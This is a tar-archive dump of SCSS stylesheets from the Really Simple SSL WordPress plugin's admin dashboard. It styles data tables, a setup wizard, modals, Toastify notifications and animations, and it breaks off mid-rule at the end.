.rsssl-vulnerabilities_overview, .rsssl-limit_login_attempts_country, .rsssl-limit_login_attempts_users,
.rsssl-firewall_event_log_viewer, .rsssl-firewall_logs_content, .rsssl-limit_login_attempts_event_log,
.rsssl-mixed-content-scan, .rsssl-limit_login_attempts_ip_address, .rsssl-content_security_policy, .rsssl-hardening-xml {
  .rsssl-field-wrap {
    margin-left: CALC(-1 * var(--rsp-spacing-l));
    margin-right: CALC(-1 * var(--rsp-spacing-l));
    @media(max-width: $rsp-break-m) { // 1280px
      margin-left: CALC(-1 * var(--rsp-spacing-m));
      margin-right: CALC(-1 * var(--rsp-spacing-m));
    }
    @media(max-width: $rsp-break-s) { // 1280px
      margin-left: CALC(-1 * var(--rsp-spacing-s));
      margin-right: CALC(-1 * var(--rsp-spacing-s));
    }
    //should be s on <1280px
    > .components-base-control, .rsssl-comment,
      //.rsssl-grid-item-content-footer,
    .rsssl-progress-container,
    > div > button,
    .rsssl-learning-mode-footer,
    .rsssl-mixed-content-description,
    .rsssl-current-scan-action {
      margin-left: var(--rsp-spacing-l);
      margin-right: var(--rsp-spacing-l);
    }
  }

  .rdt_TableCell, .rdt_TableCol {
    &:first-child {
      padding-left: var(--rsp-spacing-l);
      padding-right: var(--rsp-spacing-l);
    }

    &:last-child {
      padding-right: var(--rsp-spacing-l);
    }
  }
}


/* Section for EdgeCases and other specific styling */
/* EdgeCase: EventLog */
.rsssl-content_security_policy,
.rsssl-permissions_policy,
.rsssl-firewall_list_listing,
.rsssl-user_agents,
.rsssl-404_blocking,
.rsssl-firewall_white_list_listing,
.rsssl-firewall_block_list_listing,
.rsssl-hardening-xml,
.rsssl-vulnerabilities_overview,
.rsssl-content_security_policy_source_directives,
.rsssl-vulnerabilities-measures-overview,
.rsssl-limit_login_attempts_ip_address,
.rsssl-limit_login_attempts_users,
.rsssl-limit_login_attempts_country,
.rsssl-two_fa_users,
.rsssl-firewall_logs,
.rsssl-firewall_logs_content,
.rsssl-limit_login_attempts_event_log {
  //first off we remove the min-width from table cell and table col
  .rdt_TableCell, .rdt_TableCol {
    min-width: initial;
  }

  .rdt_Pagination {
    margin-top: 0;
    padding: 0 25px;
  }

  .rdt_tableCell {
    &:has(div > .rsssl-action-buttons) {
      position: relative;
    }
  }

  .rsssl-container, .rdt_TableRow {
    //Horizontal padding;
    // padding: var(--rsp-spacing-m) var(--rsp-spacing-l);
  }

  .rsssl-field-wrap {
    padding: 0;

    .rdt_TableHeadRow {
      // Somehow the default for the last child is to make it small, well we dont want that.
      .rdt_TableCol:last-child {
        //we calculate the remaining width of the table and set it to the last column
        flex-grow: 1;
      }
    }

    .rdt_TableHeadRow {
      border: none;
    }

    .rdt_Pagination {
      border: none;
    }

    .rdt_TableBody {
      .rdt_TableRow {
        border: none;
        .rdt_TableCell:last-child {
          //we calculate the remaining width of the table and set it to the last column
          flex-grow: 1;
        }
      }

      //This is for the Expandable rows in the table
      .rdt_Expanding {
        .rdt_TableRow {
          .rdt_TableCell:first-child {
            //we remove all padding
            padding: 0;
            flex-direction: row;
          }
        }
      }

      //This is for the multiselect table
      .rdt_TableRow {
        .rdt_TableCell:first-child {
          //we remove all padding
          padding: 0 25px;
          flex-direction: row;
        }
      }
    }

    .rsssl-learning-mode-delete {
      float: right;
    }

    // in the tableCell we remove all previous styling of the last child
    .rdt_TableCell:last-child {
      div {
        width: 100%;

        button, a {
          margin-left: 10px;
        }
      }
    }

  }
}

.rsssl-limit_login_attempts_event_log, .rsssl-firewall_logs_content  {
  // making sure the last child of the tablehead is positioned to the left
    .rdt_TableHeadRow {
      .rdt_TableCol:last-child {
        justify-content: flex-start;
      }
    }
}

.rsssl-vulnerabilities-measures-overview {
  .allowRowEvents {
    .wp-core-ui select {
      max-width: 100%;
    }
  }

  div:first-child {
    white-space: initial !important;
  }

  .rdt_TableCell {
    &:nth-child(2) {
      select {
        max-width: 100%;
      }
    }
  }

}

///* EdgeCase: CountryTable */
//.rsssl-vulnerabilities_measures {
//  .rdt_TableCell {
//    &:nth-child(2) {
//      select {
//        max-width: 100%;
//      }
//    }
//  }
//}

///* EdgeCase: hardening-xml */
//.rsssl-hardening-xml {
//
//  .rdt_Table {
//    height: 300px;
//    align-items: initial;
//
//    div:nth-child(2) {
//      align-items: baseline;
//    }
//
//  }
//
//  .rdt_TableHead {
//    padding-bottom: 10px;
//  }
//
//  .rdt_TableCol:first-child {
//    padding: 0 25px !important;
//  }
//
//  .rdt_TableCell:last-child {
//    padding: 0 25px !important;
//  }
//
//  .rdt_TableRow .rdt_TableCell:last-child {
//    flex: 1;
//    display: flex;
//    justify-content: flex-end;
//  }
//}

/* EdgeCase: Permission_Policy */
.rsssl-content_security_policy, .rsssl-permissions_policy {
  .rdt_TableCol {
    &:last-child {
      //we calculate the remaining width of the table and set it to the last column
      flex-grow: 1;
      text-align: right;

      div {
        width: 100%;
        display: flex;
        justify-content: flex-start;
      }
    }
  }


  .rdt_TableCell {
    &:last-child {
      //we calculate the remaining width of the table and set it to the last column
      flex-grow: 1;
      text-align: right;

      div {
        width: 100%;
        display: flex;
        justify-content: flex-end;

        button {
          margin-right: 0 !important;
        }
      }
    }
  }
}
.rsssl-vulnerabilities-measures-overview {
  .rdt_TableRow .rdt_TableCell:last-child {
    overflow: hidden;
    text-overflow: ellipsis;
    width: 200px;
  }
}

//For the shields
 .rsssl-content_security_policy_source_directives:has(.rsssl-shield-overlay) {
   min-height: 250px;
 }really-simple-ssl/assets/css/admin/modules/introcontainer.scss000064400000002627147510273070020724 0ustar00.rsssl-modal {

  //.rsssl-modal-header, .components-modal__header {
  //  background-color: var(--rsp-yellow-faded);
  //  padding: var(--rsp-spacing-m) var(--rsp-spacing-m)!important;
  //  //no border radius on bottom
  //  border-bottom-left-radius: 0;
  //  border-bottom-right-radius: 0;
  //  border-bottom: 0;
  //}
  //
  //.components-modal__content {
  //  padding: 0;
  //  &:before {
  //    margin-bottom:initial;
  //  }
  //}

  //.rsssl-header-extension {
  //  background-color: var(--rsp-yellow-faded);
  //  margin: 0;
  //  padding: 0 var(--rsp-spacing-m);
  //  p {
  //    margin: 0;
  //    padding: var(--rsp-spacing-m) 0;
  //    padding-top: 0;
  //  }
  //}

  .rsssl-intro-logo {
    width: 7em;
    position: absolute;
    right: 1.6em;
    height: auto;
    bottom: 0.15em;
    margin: 0;
    padding: 0;
  }
  @media (max-width: 768px) {
    .rsssl-intro-logo {
      display:none;
    }
  }

  .rsssl-ssl-intro-container {
    .rsssl-details {
      display:flex;
      padding: var(--rsp-spacing-xs) var(--rsp-spacing-m);
      gap: var(--rsp-spacing-xs);
      .rsssl-icon {
        min-width:25px;
      }
    }
  }

  .rsssl-modal-footer {
    padding: var(--rsp-spacing-m) var(--rsp-spacing-m);
  }

  /* spinner for React Icons */
  .icon-spin {
    animation: spin 2s linear infinite;
  }

  @keyframes spin {
    0% { transform: rotate(0deg); }
    100% { transform: rotate(360deg); }
  }
}really-simple-ssl/assets/css/admin/modules/wizard.scss000064400000011406147510273070017161 0ustar00.rsssl {
  div[class^="rsssl-wizard-"] { // starts with selector
    .rsssl-helplink {
      color: var(--rsp-text-color);
    }

    .rsssl-grid-item {
      position: relative; //to ensure the rsssl-lock stays within the div
      margin-bottom: var(--rsp-grid-gap);
      @media(max-width: $rsp-break-s) {
        grid-column: span 4;
      }
    }
    &.rsssl-column-2{
      grid-column: span 2;
      @media(max-width: $rsp-break-s) {
        grid-column: span 4;
      }
    }

    .rsssl-locked {
      position: absolute;
      z-index: 20;
      top: 0;
      left: 0;
      bottom: 0;
      right: 0;
      background: rgba(255, 255, 255, 0.8);
      border-radius: var(--rsp-border-radius);
      .rsssl-shield-overlay {
        position: absolute;
        top: 50%; /* Center vertically */
        left: 50%; /* Center horizontally */
        transform: translate(-50%, -50%); /* Offset for centering */
        display: flex;
        align-items: center;
        justify-content: center;
        height: calc(100px + 2 * var(--rsp-spacing-s)); /* Adjust shield height dynamically */
        width: calc(200px + 2 * var(--rsp-spacing-s)); /* Ensure consistent width for a square shield */
        z-index: 19; /* Place it below the overlay */
      }

      .rsssl-locked:has(.rsssl-shield-overlay) {
        /* Apply dynamic styles when .rsssl-shield-overlay is present */
        min-height: calc(100px + 4 * var(--rsp-spacing-s)); /* Adjust to fit the shield and extra spacing */
        display: flex;
        align-items: center; /* Vertically center contents */
        justify-content: center; /* Horizontally center contents */
        position: relative; /* Context for absolutely positioned children */
        padding: var(--rsp-spacing-s); /* Add padding to avoid cutting off elements */
      }

      .rsssl-locked-overlay {
        z-index: 20; /* Ensure this stays on top */
        position: absolute;
        display: flex;
        align-items: center;
        gap: var(--rsp-spacing-s);
        background-color: var(--rsp-white);
        margin: var(--rsp-spacing-s);
        border-radius: var(--rsp-border-radius-s);
        box-shadow: var(--rsp-box-shadow);
        bottom: 0;
        width: calc(100% - (2 * var(--rsp-spacing-s)));
        @include rsssl-block-padding;

        .rsssl-open {
          float: left;
          margin-right: 12px;
        }

        .rsssl-progress-status {
          float: left;
          margin-right: 20px;
        }
      }
    }

    //.rsssl-grid-item-footer {
    //  justify-content: flex-end;
    //  padding: 0;
    //  display: flex;
    //  flex-wrap: wrap;
    //  align-items: center;
    //  gap: var(--rsp-grid-margin);
    //  width: 100%;
    //  min-height: 20px;
    //  box-sizing: border-box;
    //  align-self: flex-end;
    //
    //  .rsssl-legend {
    //    display: flex;
    //    span {
    //      padding-left: 5px;
    //    }
    //  }
    //
    //  &:empty {
    //    display: none;
    //  }
    //}

    & > div:nth-last-of-type(2) {
      margin-bottom: 0;
      border-radius: var(--rsp-border-radius) var(--rsp-border-radius) 0 0;
    }

    .rsssl-grid-item-footer-container {
      position: sticky;
      bottom: 0;
      display: flex;
      flex-direction: column;
      z-index: 20; //should be above 10, for the text editor, which has 10.

      .rsssl-grid-item-footer-buttons {
        a.button, button {
          box-shadow: none !important;

          &:focus, &:active {
            box-shadow: none !important;
          }
        }
      }

    }
    .rsssl-grid-item-footer-scroll-progress-container {
      display: flex;
      flex-direction: column;
      width: 100%;
      height: 3px;
      background-color: var(--rsp-grey-300);
      overflow: hidden;
    }

    .rsssl-grid-item-footer-scroll-progress {
      height: 100%;
      background-color: var(--rsp-blue);
    }
    .rsssl-grid-item-footer {
      background: var(--rsp-grey-100);
      border-radius: 0 0 var(--rsp-border-radius) var(--rsp-border-radius);
      border-top: 1px solid var(--rsp-grey-300);
      box-sizing: border-box;
      align-items: center;
      @include rsssl-block-padding();
      box-shadow: var(--rsp-box-shadow);
      gap: var(--rsp-grid-margin);
      width: 100%;
      min-height: 20px;
      justify-content: space-around;
      // last item within the footer
      & > div:last-of-type {
        margin-left: auto;
      }
      &-buttons{
        display: flex;
        justify-content: flex-end;
        align-items: center;
        gap: var(--rsp-spacing-s);
      }
      .rsssl-legend {
        display: flex;
        span {
          padding-left: 5px;
        }
      }
      &-upsell-bar {
        .button {
          display:inline-block !important;
        }
      }

      &:empty {
        display: none;
      }
    }
  }
}
really-simple-ssl/assets/css/admin/modules/toast/main.scss000064400000000547147510273070017743 0ustar00@charset "UTF-8";

@import 'variables';
@import 'toastContainer';
@import 'toast';
@import 'theme';
@import 'closeButton';
@import 'progressBar';
@import 'icons';

// entrance and exit animations
@import 'animations/bounce.scss';
@import 'animations/zoom.scss';
@import 'animations/flip.scss';
@import 'animations/slide.scss';
@import 'animations/spin.scss';
really-simple-ssl/assets/css/admin/modules/toast/_closeButton.scss000064400000000600147510273070021445 0ustar00.#{$rt-namespace}__close-button {
  color: #fff;
  background: transparent;
  outline: none;
  border: none;
  padding: 0;
  cursor: pointer;
  opacity: 0.7;
  transition: 0.3s ease;
  align-self: flex-start;

  &--light {
    color: #000;
    opacity: 0.3;
  }

  & > svg {
    fill: currentColor;
    height: 16px;
    width: 14px;
  }

  &:hover,
  &:focus {
    opacity: 1;
  }
}
really-simple-ssl/assets/css/admin/modules/toast/_toastContainer.scss000064400000002056147510273070022150 0ustar00.#{$rt-namespace}__toast-container {
  z-index: var(--toastify-z-index);
  -webkit-transform: translate3d(0, 0, var(--toastify-z-index) px);
  position: fixed;
  padding: 4px;
  width: var(--toastify-toast-width);
  box-sizing: border-box;
  color: #fff;
  &--top-left {
    top: 1em;
    left: 1em;
  }
  &--top-center {
    top: calc( 2em + 32px);
    left: 50%;
    transform: translateX(-50%);
  }
  &--top-right {
    top: 1em;
    right: 1em;
  }
  &--bottom-left {
    bottom: 1em;
    left: 1em;
  }
  &--bottom-center {
    bottom: 1em;
    left: 50%;
    transform: translateX(-50%);
  }
  &--bottom-right {
    bottom: 1em;
    right: 1em;
  }
}

@media #{$rt-mobile} {
  .#{$rt-namespace}__toast-container {
    width: 100vw;
    padding: 0;
    left: 0;
    margin: 0;
    &--top-left,
    &--top-center,
    &--top-right {
      top: 0;
      transform: translateX(0);
    }
    &--bottom-left,
    &--bottom-center,
    &--bottom-right {
      bottom: 0;
      transform: translateX(0);
    }
    &--rtl {
      right: 0;
      left: initial;
    }
  }
}
really-simple-ssl/assets/css/admin/modules/toast/_variables.scss000064400000003356147510273070021127 0ustar00$rt-namespace: 'Toastify';
$rt-mobile: 'only screen and (max-width : 480px)' !default;

:root {
  --toastify-color-light: var(--rsp-white);
  --toastify-color-dark: var(--rsp-black);
  --toastify-color-info: var(--rsp-yellow);
  --toastify-color-success: var(--rsp-green);
  --toastify-color-warning: var(--rsp-orange);
  --toastify-color-error: var(--rsp-red);
  --toastify-color-transparent: rgba(255, 255, 255, 0.7);

  --toastify-icon-color-info: var(--toastify-color-info);
  --toastify-icon-color-success: var(--rsp-green);
  --toastify-icon-color-warning: var(--toastify-color-warning);
  --toastify-icon-color-error: var(--toastify-color-error);

  --toastify-toast-width: 320px;
  --toastify-toast-background: #fff;
  --toastify-toast-min-height: 42px;
  --toastify-toast-max-height: 800px;
  --toastify-font-family: sans-serif;
  --toastify-z-index: 999999;

  --toastify-text-color-light: var(--rsp-text-color);
  --toastify-text-color-dark: var(--rsp-text-color-white);

  //Used only for colored theme
  --toastify-text-color-info: #fff;
  --toastify-text-color-success: #fff;
  --toastify-text-color-warning: #fff;
  --toastify-text-color-error: #fff;

  --toastify-spinner-color: #616161;
  --toastify-spinner-color-empty-area: #e0e0e0;

  // Used when no type is provided
  --toastify-color-progress-light: linear-gradient(
    to right,
    var(--rsp-green),
    #5ac8fa,
    #007aff,
    #34aadc,
    #5856d6,
    #ff2d55
  );
  // Used when no type is provided
  --toastify-color-progress-dark: #bb86fc;
  --toastify-color-progress-info: var(--toastify-color-info);
  --toastify-color-progress-success: var(--rsp-green);
  --toastify-color-progress-warning: var(--toastify-color-warning);
  --toastify-color-progress-error: var(--toastify-color-error);
}
really-simple-ssl/assets/css/admin/modules/toast/_progressBar.scss000064400000001026147510273070021440 0ustar00@keyframes #{$rt-namespace}__trackProgress {
  0% {
    transform: scaleX(1);
  }
  100% {
    transform: scaleX(0);
  }
}

.#{$rt-namespace}__progress-bar {
  position: absolute;
  bottom: 0;
  left: 0;
  width: 100%;
  height: 5px;
  z-index: var(--toastify-z-index);
  opacity: 0.7;
  transform-origin: left;

  &--animated {
    animation: #{$rt-namespace}__trackProgress linear 1 forwards;
  }

  &--controlled {
    transition: transform 0.2s;
  }

  &--rtl {
    right: 0;
    left: initial;
    transform-origin: right;
  }
}
really-simple-ssl/assets/css/admin/modules/toast/minimal.scss000064400000000411147510273070020433 0ustar00@charset "UTF-8";

@import 'variables';

@keyframes #{$rt-namespace}__trackProgress {
  0% {
    transform: scaleX(1);
  }
  100% {
    transform: scaleX(0);
  }
}

.#{$rt-namespace}__progress-bar {
  animation: #{$rt-namespace}__trackProgress linear 1 forwards;
}
really-simple-ssl/assets/css/admin/modules/toast/animations/_spin.scss000064400000000172147510273070022263 0ustar00@keyframes #{$rt-namespace}__spin {
  from {
    transform: rotate(0deg);
  }
  to {
    transform: rotate(360deg);
  }
}
really-simple-ssl/assets/css/admin/modules/toast/animations/_bounce.scss000064400000006317147510273070022574 0ustar00@mixin timing-function {
  animation-timing-function: cubic-bezier(0.215, 0.61, 0.355, 1);
}

@keyframes #{$rt-namespace}__bounceInRight {
  from,
  60%,
  75%,
  90%,
  to {
    @include timing-function;
  }
  from {
    opacity: 0;
    transform: translate3d(3000px, 0, 0);
  }
  60% {
    opacity: 1;
    transform: translate3d(-25px, 0, 0);
  }
  75% {
    transform: translate3d(10px, 0, 0);
  }
  90% {
    transform: translate3d(-5px, 0, 0);
  }
  to {
    transform: none;
  }
}

@keyframes #{$rt-namespace}__bounceOutRight {
  20% {
    opacity: 1;
    transform: translate3d(-20px, 0, 0);
  }
  to {
    opacity: 0;
    transform: translate3d(2000px, 0, 0);
  }
}

@keyframes #{$rt-namespace}__bounceInLeft {
  from,
  60%,
  75%,
  90%,
  to {
    @include timing-function;
  }
  0% {
    opacity: 0;
    transform: translate3d(-3000px, 0, 0);
  }
  60% {
    opacity: 1;
    transform: translate3d(25px, 0, 0);
  }
  75% {
    transform: translate3d(-10px, 0, 0);
  }
  90% {
    transform: translate3d(5px, 0, 0);
  }
  to {
    transform: none;
  }
}

@keyframes #{$rt-namespace}__bounceOutLeft {
  20% {
    opacity: 1;
    transform: translate3d(20px, 0, 0);
  }
  to {
    opacity: 0;
    transform: translate3d(-2000px, 0, 0);
  }
}

@keyframes #{$rt-namespace}__bounceInUp {
  from,
  60%,
  75%,
  90%,
  to {
    @include timing-function;
  }
  from {
    opacity: 0;
    transform: translate3d(0, 3000px, 0);
  }
  60% {
    opacity: 1;
    transform: translate3d(0, -20px, 0);
  }
  75% {
    transform: translate3d(0, 10px, 0);
  }
  90% {
    transform: translate3d(0, -5px, 0);
  }
  to {
    transform: translate3d(0, 0, 0);
  }
}

@keyframes #{$rt-namespace}__bounceOutUp {
  20% {
    transform: translate3d(0, -10px, 0);
  }
  40%,
  45% {
    opacity: 1;
    transform: translate3d(0, 20px, 0);
  }
  to {
    opacity: 0;
    transform: translate3d(0, -2000px, 0);
  }
}

@keyframes #{$rt-namespace}__bounceInDown {
  from,
  60%,
  75%,
  90%,
  to {
    @include timing-function;
  }
  0% {
    opacity: 0;
    transform: translate3d(0, -3000px, 0);
  }
  60% {
    opacity: 1;
    transform: translate3d(0, 25px, 0);
  }
  75% {
    transform: translate3d(0, -10px, 0);
  }
  90% {
    transform: translate3d(0, 5px, 0);
  }
  to {
    transform: none;
  }
}

@keyframes #{$rt-namespace}__bounceOutDown {
  20% {
    transform: translate3d(0, 10px, 0);
  }
  40%,
  45% {
    opacity: 1;
    transform: translate3d(0, -20px, 0);
  }
  to {
    opacity: 0;
    transform: translate3d(0, 2000px, 0);
  }
}

.#{$rt-namespace}__bounce-enter {
  &--top-left,
  &--bottom-left {
    animation-name: #{$rt-namespace}__bounceInLeft;
  }
  &--top-right,
  &--bottom-right {
    animation-name: #{$rt-namespace}__bounceInRight;
  }
  &--top-center {
    animation-name: #{$rt-namespace}__bounceInDown;
  }
  &--bottom-center {
    animation-name: #{$rt-namespace}__bounceInUp;
  }
}

.#{$rt-namespace}__bounce-exit {
  &--top-left,
  &--bottom-left {
    animation-name: #{$rt-namespace}__bounceOutLeft;
  }
  &--top-right,
  &--bottom-right {
    animation-name: #{$rt-namespace}__bounceOutRight;
  }
  &--top-center {
    animation-name: #{$rt-namespace}__bounceOutUp;
  }
  &--bottom-center {
    animation-name: #{$rt-namespace}__bounceOutDown;
  }
}
really-simple-ssl/assets/css/admin/modules/toast/animations/_slide.scss000064400000004017147510273070022414 0ustar00@mixin transform {
  transform: translate3d(0, 0, 0);
}

@keyframes #{$rt-namespace}__slideInRight {
  from {
    transform: translate3d(110%, 0, 0);
    visibility: visible;
  }
  to {
    @include transform;
  }
}

@keyframes #{$rt-namespace}__slideInLeft {
  from {
    transform: translate3d(-110%, 0, 0);
    visibility: visible;
  }
  to {
    @include transform;
  }
}

@keyframes #{$rt-namespace}__slideInUp {
  from {
    transform: translate3d(0, 110%, 0);
    visibility: visible;
  }
  to {
    @include transform;
  }
}

@keyframes #{$rt-namespace}__slideInDown {
  from {
    transform: translate3d(0, -110%, 0);
    visibility: visible;
  }
  to {
    @include transform;
  }
}

@keyframes #{$rt-namespace}__slideOutRight {
  from {
    @include transform;
  }
  to {
    visibility: hidden;
    transform: translate3d(110%, 0, 0);
  }
}

@keyframes #{$rt-namespace}__slideOutLeft {
  from {
    @include transform;
  }
  to {
    visibility: hidden;
    transform: translate3d(-110%, 0, 0);
  }
}

@keyframes #{$rt-namespace}__slideOutDown {
  from {
    @include transform;
  }
  to {
    visibility: hidden;
    transform: translate3d(0, 500px, 0);
  }
}

@keyframes #{$rt-namespace}__slideOutUp {
  from {
    @include transform;
  }
  to {
    visibility: hidden;
    transform: translate3d(0, -500px, 0);
  }
}

.#{$rt-namespace}__slide-enter {
  &--top-left,
  &--bottom-left {
    animation-name: #{$rt-namespace}__slideInLeft;
  }
  &--top-right,
  &--bottom-right {
    animation-name: #{$rt-namespace}__slideInRight;
  }
  &--top-center {
    animation-name: #{$rt-namespace}__slideInDown;
  }
  &--bottom-center {
    animation-name: #{$rt-namespace}__slideInUp;
  }
}

.#{$rt-namespace}__slide-exit {
  &--top-left,
  &--bottom-left {
    animation-name: #{$rt-namespace}__slideOutLeft;
  }
  &--top-right,
  &--bottom-right {
    animation-name: #{$rt-namespace}__slideOutRight;
  }
  &--top-center {
    animation-name: #{$rt-namespace}__slideOutUp;
  }
  &--bottom-center {
    animation-name: #{$rt-namespace}__slideOutDown;
  }
}
really-simple-ssl/assets/css/admin/modules/toast/animations/_flip.scss000064400000001620147510273070022243 0ustar00@keyframes #{$rt-namespace}__flipIn {
  from {
    transform: perspective(400px) rotate3d(1, 0, 0, 90deg);
    animation-timing-function: ease-in;
    opacity: 0;
  }
  40% {
    transform: perspective(400px) rotate3d(1, 0, 0, -20deg);
    animation-timing-function: ease-in;
  }
  60% {
    transform: perspective(400px) rotate3d(1, 0, 0, 10deg);
    opacity: 1;
  }
  80% {
    transform: perspective(400px) rotate3d(1, 0, 0, -5deg);
  }
  to {
    transform: perspective(400px);
  }
}

@keyframes #{$rt-namespace}__flipOut {
  from {
    transform: perspective(400px);
  }
  30% {
    transform: perspective(400px) rotate3d(1, 0, 0, -20deg);
    opacity: 1;
  }
  to {
    transform: perspective(400px) rotate3d(1, 0, 0, 90deg);
    opacity: 0;
  }
}

.#{$rt-namespace}__flip-enter {
  animation-name: #{$rt-namespace}__flipIn;
}

.#{$rt-namespace}__flip-exit {
  animation-name: #{$rt-namespace}__flipOut;
}
really-simple-ssl/assets/css/admin/modules/toast/animations/_zoom.scss000064400000000713147510273070022277 0ustar00@keyframes #{$rt-namespace}__zoomIn {
  from {
    opacity: 0;
    transform: scale3d(0.3, 0.3, 0.3);
  }
  50% {
    opacity: 1;
  }
}

@keyframes #{$rt-namespace}__zoomOut {
  from {
    opacity: 1;
  }
  50% {
    opacity: 0;
    transform: scale3d(0.3, 0.3, 0.3);
  }
  to {
    opacity: 0;
  }
}

.#{$rt-namespace}__zoom-enter {
  animation-name: #{$rt-namespace}__zoomIn;
}

.#{$rt-namespace}__zoom-exit {
  animation-name: #{$rt-namespace}__zoomOut;
}
really-simple-ssl/assets/css/admin/modules/toast/_icons.scss000064400000000456147510273070020270 0ustar00.#{$rt-namespace}__spinner {
  width: 20px;
  height: 20px;
  box-sizing: border-box;
  border: 2px solid;
  border-radius: 100%;
  border-color: var(--toastify-spinner-color-empty-area);
  border-right-color: var(--toastify-spinner-color);
  animation: #{$rt-namespace}__spin 0.65s linear infinite;
}
really-simple-ssl/assets/css/admin/modules/toast/_theme.scss000064400000003006147510273070020251 0ustar00.#{$rt-namespace}__toast {
  &-theme--dark {
    background: var(--toastify-color-dark);
    color: var(--toastify-text-color-dark);
  }
  &-theme--light {
    background: var(--toastify-color-light);
    color: var(--toastify-text-color-light);
  }
  &-theme--colored#{&}--default {
    background: var(--toastify-color-light);
    color: var(--toastify-text-color-light);
  }
  &-theme--colored#{&}--info {
    color: var(--toastify-text-color-info);
    background: var(--toastify-color-info);
  }
  &-theme--colored#{&}--success {
    color: var(--toastify-text-color-success);
    background: var(--rsp-green);
  }
  &-theme--colored#{&}--warning {
    color: var(--toastify-text-color-warning);
    background: var(--toastify-color-warning);
  }
  &-theme--colored#{&}--error {
    color: var(--toastify-text-color-error);
    background: var(--toastify-color-error);
  }
}

.#{$rt-namespace}__progress-bar {
  &-theme--light {
    background: var(--toastify-color-progress-light);
  }
  &-theme--dark {
    background: var(--toastify-color-progress-dark);
  }
  &--info {
    background: var(--toastify-color-progress-info);
  }
  &--success {
    background: var(--toastify-color-progress-success);
  }
  &--warning {
    background: var(--toastify-color-progress-warning);
  }
  &--error {
    background: var(--toastify-color-progress-error);
  }
  &-theme--colored#{&}--info,
  &-theme--colored#{&}--success,
  &-theme--colored#{&}--warning,
  &-theme--colored#{&}--error {
    background: var(--toastify-color-transparent);
  }
}
really-simple-ssl/assets/css/admin/modules/toast/_toast.scss000064400000002354147510273070020306 0ustar00.#{$rt-namespace}__toast {
  position: relative;
  min-height: var(--toastify-toast-min-height);
  box-sizing: border-box;
  margin-bottom: 1rem;
  padding: 8px;
  border-radius: var(--rsp-border-radius);
  border: 1px solid #eeeeee;
  box-shadow: 0 1px 10px 0 rgba(0, 0, 0, 0.1), 0 2px 15px 0 rgba(0, 0, 0, 0.05);
  box-shadow: var(--rsp-box-shadow);
  display: flex;
  justify-content: space-between;
  max-height: var(--toastify-toast-max-height);
  overflow: hidden;
  font-family: var(--toastify-font-family);
  cursor: default;
  direction: ltr;
  /* webkit only issue #791 */
  z-index: 0;
  &--rtl {
    direction: rtl;
  }
  &--close-on-click {
    cursor: pointer;
  }
  &-body {
    margin: auto 0;
    flex: 1 1 auto;
    padding: 6px;
    display: flex;
    align-items: center;
    & > div:last-child {
      word-break: break-word;
      flex: 1;
    }
  }
  &-icon {
    margin-inline-end: 10px;
    width: 20px;
    flex-shrink: 0;
    display: flex;
  }
}

.#{$rt-namespace}--animate {
  animation-fill-mode: both;
  animation-duration: 0.7s;
}

.#{$rt-namespace}--animate-icon {
  animation-fill-mode: both;
  animation-duration: 0.3s;
}

@media #{$rt-mobile} {
  .#{$rt-namespace}__toast {
    margin-bottom: 0;
    border-radius: 0;
  }
}
really-simple-ssl/assets/css/admin/modules/bullets.scss000064400000002456147510273070017340 0ustar00.rsssl{
  // rsssl bullets
  .rsssl-bullet {
	height: 13px;
	width: 13px;
	flex: 0 0 13px;
	border-radius: 50%;
	display: inline-block;
  	background-color: var(--rsp-grey-300);
	&.rsp-yellow {
	  background-color: var(--rsp-yellow);
	}

	&.rsp-blue {
	  background-color: var(--rsp-blue);
	}

	&.rsp-pink {
	  background-color: var(--rsp-pink);
	}

	&.rsp-red, &.rsssl-bullet-error {
	  background-color: var(--rsp-red);
	}

	&.rsp-green, &.rsssl-bullet-success  {
	  background-color: var(--rsp-green);
	}
	&.rsp-blue-yellow {
	  background: var(--rsp-blue);
	  background: linear-gradient(77deg, rgba(0,159,255, 1) 0%, rgba(0,159,255, 1) 30%, rgba(244, 191, 62, 1) 70%, rgba(244, 191, 62, 1) 100%);
	  animation: gradient 2s ease infinite;
	  background-size: 200% 200%;
	}
  }
	.rsssl-legend{
		display: flex;

		width: max-content;
		color: var(--rsp-text-color-light);
		align-items: center;
		min-width: 0;
		gap: var(--rsp-spacing-xxs);
		text-decoration: none;
		&:first-of-type{
			margin-left: auto;
		}
		.rsssl-progress-footer-link {
			a {
				color: inherit;
				text-decoration: none;

				&:hover {
					text-decoration: underline;
				}
			}
		}
	}

  @keyframes gradient {
	0% {
	  background-position: 0% 50%;
	}
	50% {
	  background-position: 100% 50%;
	}
	100% {
	  background-position: 0% 50%;
	}
  }
}
really-simple-ssl/assets/css/admin/modules/notices.scss000064400000000026147510273070017321 0ustar00/**
Admin notice
 */

really-simple-ssl/assets/css/admin/modules/new-features.scss000064400000001375147510273070020272 0ustar00.rsssl{
  .rsssl-new-features-block{
    .rsssl-grid-item-content{
      display: flex;
      flex-direction: column;
      justify-content: space-between;
    }
  }
  .rsssl-new-features{
    display: flex;
    flex-direction: row;
    flex-wrap: wrap;
    gap: var(--rsp-spacing-xs);
    @media only screen and (max-width: $rsp-break-xxl) and (min-width: $rsp-break-m)  {
      gap: var(--rsp-spacing-xxs);
    }
  }
  .rsssl-new-feature{
    width: 100%;
    color: var(--rsp-text-color-light);
    display: flex;
    align-items: flex-start;
    min-width: 0;
    gap: var(--rsp-spacing-xs);
    text-decoration: none;
    .rsssl-icon{
      margin-top: 2px;
    }
    .rsssl-new-feature-desc {
      p {
        font-size:var(--rsp-fs-300);
      }
    }
  }
}really-simple-ssl/assets/css/admin/modules/header.scss000064400000001461147510273070017111 0ustar00.rsssl-header-container .rsssl-header {
  display: flex;
  justify-content: space-between;
  height: 70px;
  box-sizing: border-box;

  img {
	margin: auto 0;
	height: 26px;
  }
  .rsssl-header-menu {
    display: flex;
    align-items: center;
    height: 100%;
    padding: 0 20px;
    box-sizing: border-box;
    .rsssl-header-menu-item {
      display: flex;
      align-items: center;
      height: 100%;
      padding: 0 20px;
      box-sizing: border-box;
      &:first-child {
        margin-left: 0;
      }
      &:last-child {
        margin-right: 0;
      }
      &.rsssl-header-menu-item-active {
        background-color: #f5f5f5;
      }
    }
  }
  .rsssl-header-actions {
	display: flex;
	align-items: center;
	margin-left: auto;
	gap: var(--rsp-spacing-s);

	select {
	  max-width: 60ch;
	}
  }

}
really-simple-ssl/assets/css/admin/modules/two-fa.scss000064400000001547147510273070017063 0ustar00a.rsssl-skip-link {
  display: flex;
  justify-content: center;
  margin: 15px 0 20px;
}

.rsssl-two_fa_users div[data-column-id="5"].rdt_TableCol {
  display: none;
}

.rsssl-two_fa_users .rdt_TableRow .rdt_TableCell:last-child {
